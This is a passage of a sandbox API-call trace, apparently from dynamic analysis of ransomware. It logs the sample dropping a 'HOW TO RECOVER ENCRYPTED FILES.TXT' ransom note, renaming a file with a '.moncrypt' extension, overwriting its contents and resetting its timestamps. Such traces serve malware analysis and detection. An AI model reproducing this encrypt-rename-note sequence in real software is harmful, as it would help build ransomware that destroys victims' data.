ftLastAccessTime.dwLowDateTime=0x1e69f58, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0050.816] GetLastError () returned 0x2 [0050.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.818] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0050.819] CloseHandle (hObject=0x18c) returned 1 [0050.819] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0050.819] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.819] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.819] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.819] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.819] GlobalUnlock (hMem=0x440004) returned 0 [0050.819] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.819] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.819] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.819] GlobalUnlock (hMem=0x440004) returned 0 [0050.819] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.819] GlobalUnlock (hMem=0x44000c) returned 0 [0050.819] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.820] CharLowerBuffW (in: lpsz="BOLDSTRI.INF", cchLength=0xc | out: lpsz="boldstri.inf") returned 0xc [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.820] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpUsedDefaultChar=0x0) returned 77 [0050.820] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0050.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpUsedDefaultChar=0x0) returned 4 [0050.820] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.820] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.820] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.821] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.821] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.821] GlobalUnlock (hMem=0x44000c) returned 0 [0050.821] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.821] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.821] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.821] GlobalUnlock (hMem=0x44000c) returned 0 [0050.821] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.821] GlobalUnlock (hMem=0x440004) returned 0 [0050.821] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.821] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0050.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.821] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 76 [0050.822] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0050.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\BOLDSTRI\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 4 [0050.822] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0050.822] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.822] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.822] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.822] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.822] GlobalUnlock (hMem=0x440004) returned 0 [0050.822] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.822] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.822] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.822] GlobalUnlock (hMem=0x440004) returned 0 [0050.822] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.822] GlobalUnlock (hMem=0x44000c) returned 0 [0050.822] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.823] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 77 [0050.823] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0050.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0050.823] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0050.823] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.823] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.824] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0050.824] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.moncrypt")) returned 1 [0050.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.825] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.825] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x7c5d [0050.825] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.825] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.847] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.847] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.847] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.847] GlobalUnlock (hMem=0x440004) returned 0 [0050.847] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.847] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.848] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.848] GlobalUnlock (hMem=0x440004) returned 0 [0050.848] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.848] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.848] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.848] GlobalUnlock (hMem=0x44000c) returned 0 [0050.848] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.848] GlobalUnlock (hMem=0x440004) returned 0 [0050.848] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.848] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.848] GlobalUnlock (hMem=0x440004) returned 0 [0050.848] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.848] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.848] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.848] GlobalUnlock (hMem=0x440004) returned 0 [0050.848] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.848] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.848] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.848] SetFilePointer (in: hFile=0x18c, lDistanceToMove=31837, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x7c5d [0050.848] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.849] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.849] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.860] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.860] CloseHandle (hObject=0x18c) returned 1 [0050.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.861] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.861] CloseHandle (hObject=0x18c) returned 1 [0050.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0050.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 